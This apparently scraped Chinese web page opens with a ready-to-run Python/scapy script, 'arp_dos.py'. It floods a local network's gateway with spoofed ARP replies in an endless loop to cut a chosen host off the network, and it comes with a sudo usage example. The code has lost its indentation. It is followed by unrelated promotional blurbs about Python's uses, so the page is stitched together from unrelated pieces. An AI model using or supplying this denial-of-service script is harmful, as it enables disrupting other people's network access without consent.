注:使用这个脚本需要安装scapy 包
最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题
#coding:utf-8
#example :sudo python arp_dos.py 192.168.1.103
from scapy.all import ARP,send
import os,re,sys
def get_gateway_ip():
t=os.popen('route -n')
for i in t:
if i.startswith('0.0.0.0'):
r=re.split("\s+",i)
return r[1]
def get_gateway_hw(ip):
t=os.popen('arp -e %s' % ip)
for i in t:
if i.startswith(ip):
r=re.split("\s+",i)
return r[2]
def hack(hackip):
ip=get_gateway_ip()
hw=get_gateway_hw(ip)
arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip)
#os.popen('ifconfig eth0 %s' % hackip )
while 1:
send(arp)
def help():
print ("USEAGE: sudo python arp_dos.py 192.168.1.100")
def main():
if len(sys.argv) != 2:
help()
else:
hack(sys.argv[1])
if __name__=="__main__":
main()

Python在游戏和GUI开发中表现出色。1)游戏开发使用Pygame,提供绘图、音频等功能,适合创建2D游戏。2)GUI开发可选择Tkinter或PyQt,Tkinter简单易用,PyQt功能丰富,适合专业开发。

Python适合数据科学、Web开发和自动化任务,而C 适用于系统编程、游戏开发和嵌入式系统。 Python以简洁和强大的生态系统着称,C 则以高性能和底层控制能力闻名。

2小时内可以学会Python的基本编程概念和技能。1.学习变量和数据类型,2.掌握控制流(条件语句和循环),3.理解函数的定义和使用,4.通过简单示例和代码片段快速上手Python编程。

Python在web开发、数据科学、机器学习、自动化和脚本编写等领域有广泛应用。1)在web开发中,Django和Flask框架简化了开发过程。2)数据科学和机器学习领域,NumPy、Pandas、Scikit-learn和TensorFlow库提供了强大支持。3)自动化和脚本编写方面,Python适用于自动化测试和系统管理等任务。

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